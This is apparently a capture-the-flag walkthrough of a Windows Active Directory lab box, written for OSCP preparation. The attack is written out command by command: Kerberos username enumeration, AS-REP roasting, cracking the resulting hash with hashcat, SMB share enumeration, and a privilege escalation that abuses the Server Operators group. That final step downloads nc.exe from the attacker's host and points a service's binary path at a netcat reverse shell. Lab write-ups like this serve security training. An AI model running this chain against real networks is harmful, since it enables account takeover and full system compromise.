Export the target machine's IP as an environment variable. This way you can call the IP by just using $target in your terminal rather than typing the full address.
┌──(root㉿user)-[/home/user/bhs]
└─# export target=10.144.132.8
┌──(root㉿user)-[/home/user/bhs]
└─# echo $target
10.144.132.8Then run our nmap scans against the target to evaluate what services are available:
┌──(root㉿user)-[/home/user/Desktop/HTBox/ledgerTHM]
└─# nmap -p- -Pn $target -v -T5 --min-rate 1500 --max-rtt-timeout 500ms --max-retries 3 --open -oN nmap.txt && nmap -Pn $target -sVC -v && nmap $target -v --script vuln -T5
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Above Services
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-03-27 18:22:35Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: services.local0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: services.local0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=WIN-SERVICES.services.local
| Issuer: commonName=WIN-SERVICES.services.local
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-03-26T18:20:53
| Not valid after: 2026-09-25T18:20:53
| MD5: 7756:39ef:e717:e20a:9366:3760:6cf1:91eb
|_SHA-1: 4168:bbf1:c166:e923:cdf2:a0ed:d758:68f5:484f:0429
|_ssl-date: 2026-03-27T18:22:48+00:00; 0s from scanner time.
| rdp-ntlm-info:
| Target_Name: SERVICES
| NetBIOS_Domain_Name: SERVICES
| NetBIOS_Computer_Name: WIN-SERVICES
| DNS_Domain_Name: services.local
| DNS_Computer_Name: WIN-SERVICES.services.local
| Product_Version: 10.0.17763
|_ System_Time: 2026-03-27T18:22:39+00:00
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: WIN-SERVICES; OS: Windows; CPE: cpe:/o:microsoft:windowsLooking at the nmap scan we can note the following:
Domain:services.local
FQDN:WIN-SERVICES.services.local
NetBios_Computer_Name:WIN-SERVICES
Make sure you add these entries to your /etc/hosts file:
┌──(root㉿user)-[/home/user]
└─# cat /etc/hosts
10.144.132.8 WIN-SERVICES.services.local services.local WIN-SERVICESFinding usernames: we came up with nothing using rpcclient, ldapsearch impacket-GetADUsers etc. so I decided to enumerate the website on port 80.
On the /about.html of the website we have a list of employees.

In Medium / Hard boxes it is often the case that you need to obtain a custom user list so I took these employee names and saved them to a line by line list (users.txt)
┌──(root㉿user)-[/home/user/Downloads/username-anarchy-master]
└─# cat users.txt
Joanne Doe
Jack Rock
Will Masters
Johnny LaRussoI then used a tool called username-anarchy to give me a line by line list of every possible permutation of these names as a login.
┌──(root㉿user)-[/home/user/Downloads/username-anarchy-master]
└─# ./username-anarchy --input-file users.txt
joanne
joannedoe
joanne.doe
joannedo
joandoe
joanned
j.doe
jdoe
djoanne
d.joanne
doej
doe
<SNIP>I then took this customized userlist and used kerbrute-userenum to run it against the target's KDC. We are trying to establish naming conventions and we can see we get confirmation that the username format is (first initial — surname@services.local).
┌──(root㉿user)-[/home/user/Downloads]
└─# ./kerbrute_linux_amd64 userenum --dc $target -d services.local ./users.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 03/27/26 - Ronnie Flathers @ropnop
2026/03/27 11:32:00 > Using KDC(s):
2026/03/27 11:32:00 > 10.144.132.8:88
2026/03/27 11:32:01 > [+] VALID USERNAME: j.doe@services.local
2026/03/27 11:32:01 > [+] VALID USERNAME: j.rock@services.local
2026/03/27 11:32:01 > [+] VALID USERNAME: w.masters@services.local
2026/03/27 11:32:01 > [+] VALID USERNAME: j.larusso@services.local
2026/03/27 11:32:01 > Done! Tested 57 usernames (4 valid) in 0.466 seconds
With a valid set of usernames you can firstly look to asreproast.
- The Request: You send an AS-REQ (Authentication Request) to the Domain Controller for a username. Since pre-authentication is disabled, the DC doesn't ask for a password first.
- The "Roast": The DC sends back an AS-REP (Authentication Response) which contains a portion encrypted with the user's password hash.
┌──(root㉿user)-[/home/user/Desktop/HTBox/servicesTHM]
└─# impacket-GetNPUsers -dc-ip $target -users users.txt -request 'services.local/' -format hashcat
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[-] User j.doe doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$j.rock@SERVICES.LOCAL:9ccfa7990446d4c3f6b1e0d8c4c916f0$81d34f91acf50adbb0cf154f5c600904242f0c41a130d74e336ea726d8570b0c6ac3778e5e757126e5b6a227507d8859c7be2561132add36836edf31222561afd3d191601f6751612cd254f9477aec0cf17bb8b4bc732b5befcad8d29cc31c83b385c594809db0fd193134acf2c7515c6f7e15100f1ba1f2b6a257ae9d457254679cbbadd919da5e094edf124cab452a33066d97702d18cccbf376257d1264d89fa73d0db5607506aa0a91be9ea1247ac35d360e42ceb77e0ee04514696705e7f47d6fdec747282ac33644d600d58c180cee8603064e8a120c2ab025f6a3fd1d6d695fa18144f52b2b78cbcf650420cb
[-] User w.masters doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User j.larusso doesn't have UF_DONT_REQUIRE_PREAUTH setWe get the Auth Response for j.rock. We can then copy this hash into a txt file hash.txt and run the classic wordlist rockyou.txt against it to see if it cracks.
┌──(root㉿user)-[/home/user/Desktop/HTBox/servicesTHM]
└─# hashcat hash.txt /usr/share/wordlists/rockyou.txt
hashcat (v7.1.2) starting in autodetect mode
<SNIP>
$krb5asrep$23$j.rock@SERVICES.LOCAL:9ccfa7990446d4c3f6b1e0d8c4c916f0$81d34f91acf50adbb0cf154f5c600904242f0c41a130d74e336ea726d8570b0c6ac3778e5e757126e5b6a227507d8859c7be2561132add36836edf31222561afd3d191601f6751612cd254f9477aec0cf17bb8b4bc732b5befcad8d29cc31c83b385c594809db0fd193134acf2c7515c6f7e15100f1ba1f2b6a257ae9d457254679cbbadd919da5e094edf124cab452a33066d97702d18cccbf376257d1264d89fa73d0db5607506aa0a91be9ea1247ac35d360e42ceb77e0ee04514696705e7f47d6fdec747282ac33644d600d58c180cee8603064e8a120c2ab025f6a3fd1d6d695fa18144f52b2b78cbcf650420cb:Serviceworks1
Session..........: hashcat
Status...........: CrackedSuccessful: j.rock:Serviceworks1
I used NXC's spider module to see what shares the user had access to and saw that the user had extensive share access on the target.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
┌──(root㉿user)-[/home/user/Desktop/HTBox/servicesTHM]
└─# nxc smb $target -u j.rock -p Serviceworks1 -M spider_plus
SMB 10.144.132.8 445 WIN-SERVICES [*] Windows 10 / Server 2019 Build 17763 x64 (name:WIN-SERVICES) (domain:services.local) (signing:True) (SMBv1:False)
SMB 10.144.132.8 445 WIN-SERVICES [+] services.local\j.rock:Serviceworks1
SPIDER_PLUS 10.144.132.8 445 WIN-SERVICES [*] Started module spidering_plus with the following options:
SPIDER_PLUS 10.144.132.8 445 WIN-SERVICES [*] DOWNLOAD_FLAG: False
SPIDER_PLUS 10.144.132.8 445 WIN-SERVICES [*] STATS_FLAG: True
SPIDER_PLUS 10.144.132.8 445 WIN-SERVICES [*] EXCLUDE_FILTER: ['print$', 'ipc$']
SPIDER_PLUS 10.144.132.8 445 WIN-SERVICES [*] EXCLUDE_EXTS: ['ico', 'lnk']
SPIDER_PLUS 10.144.132.8 445 WIN-SERVICES [*] MAX_FILE_SIZE: 50 KB
SPIDER_PLUS 10.144.132.8 445 WIN-SERVICES [*] OUTPUT_FOLDER: /root/.nxc/modules/nxc_spider_plus
SMB 10.144.132.8 445 WIN-SERVICES [*] Enumerated shares
SMB 10.144.132.8 445 WIN-SERVICES Share Permissions Remark
SMB 10.144.132.8 445 WIN-SERVICES ----- ----------- ------
SMB 10.144.132.8 445 WIN-SERVICES ADMIN$ READ Remote Admin
SMB 10.144.132.8 445 WIN-SERVICES C$ READ,WRITE Default share
SMB 10.144.132.8 445 WIN-SERVICES IPC$ READ Remote IPC
SMB 10.144.132.8 445 WIN-SERVICES NETLOGON READ Logon server share
SMB 10.144.132.8 445 WIN-SERVICES SYSVOL READ Logon server share
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
With the above information gleaned I decided it was best to begin enumerating privilege escalation paths directly via shell access using evil-winrm.
┌──(root㉿user)-[/home/user]
└─# evil-winrm -i $target -u j.rock -p Serviceworks1
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\j.rock\Documents> whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
=========================================== ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Server Operators Alias S-1-5-32-549 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label S-1-16-8448We are members of the important group 'Server Operators'. Members of this group have the ability to stop, start and pause certain services AND modify binary paths for services.
There is a great article that delves into this by Raj here
The CPTS also deals with privilege escalation via Server Operators group but this particular method isn't applicable here as we don't have the correct privileges.
Firstly, check to see what services are running on the machine:
*Evil-WinRM* PS C:\Users\j.rock\Desktop> services
Path Privileges Service
---- ---------- -------
C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exe True ADWS
"C:\Program Files\Amazon\SSM\amazon-ssm-agent.exe" True AmazonSSMAgent
"C:\Program Files\Amazon\XenTools\LiteAgent.exe" True AWSLiteAgent
"C:\Program Files\Amazon\cfn-bootstrap\winhup.exe" True cfn-hup
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\SMSvcHost.exe True NetTcpPortSharing
C:\Windows\SysWow64\perfhost.exe True PerfHost
"C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe" False Sense
C:\Windows\servicing\TrustedInstaller.exe False TrustedInstaller
"C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2302.7-0\NisSrv.exe" True WdNisSvc
"C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2302.7-0\MsMpEng.exe" True WinDefend
"C:\Program Files\Windows Media Player\wmpnetwk.exe" False WMPNetworkSvcSecondly, choose a service and confirms that it runs as SYSTEM (we are choosing AmazonSSMAgent)
*Evil-WinRM* PS C:\Users\j.rock\Desktop> sc.exe qc AmazonSSMAgent
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: AmazonSSMAgent
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Users\j.rock\Desktop\shell.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Amazon SSM Agent
DEPENDENCIES :
SERVICE_START_NAME : LocalSystemPrivilege Escalation: modify the binary path to execute a netcat binary with a reverse shell command back to our listener.
a) setup a listener on your kali machine in the same directory where you are hosting your netcat binary
┌──(root㉿user)-[/home/user/Desktop/HTBox/tools]
└─# python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
download the netcat binary from your kali machine onto the target
*Evil-WinRM* PS C:\Users\j.rock\Documents> powershell wget http://192.168.128.50:8000 -OutFile C:\Users\j.rock\Documents\nc.exe
*Evil-WinRM* PS C:\Users\j.rock\Documents> dir
Directory: C:\Users\j.rock\Documents
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 3/30/2026 4:38 PM 3301 nc.exeb) modify the binary path to utilize nc.exe to initiate a connection back to our kali machine / port
*Evil-WinRM* PS C:\Users\j.rock\Documents> sc.exe config AmazonSSMAgent binPath="C:\Users\j.rock\Documents\nc.exe -e cmd.exe 192.168.128.50 4444"
[SC] ChangeServiceConfig SUCCESSc) play around with stopping / starting the service
*Evil-WinRM* PS C:\Users\j.rock\Desktop> sc.exe start AmazonSSMAgent
[SC] StartService FAILED 1053:
The service did not respond to the start or control request in a timely fashion.You should receive a connect back on your listener
┌──(root㉿user)-[/home/user/Desktop/HTBox/servicesTHM]
└─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.128.50] from (UNKNOWN) [10.144.141.19] 56013
Microsoft Windows [Version 10.0.17763.4010]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>Note: I haven't used THM for a number of years (only just got a subscription to fully prepare for the OSCP) but I am quite surprised at how badly the labs perform. It took multiple attempts to get this to work despite the steps to replicate remaining identical.
Privilege Escalation: Method 2
You can also place a specifically crafted .exe in the binary path (rather than using netcat) and stop / start the service to call this malicious file.
Raj details the workflow for this in his article (Exploitation Method 2) so if you want further steps just jump on over there as the result is the same for either technique.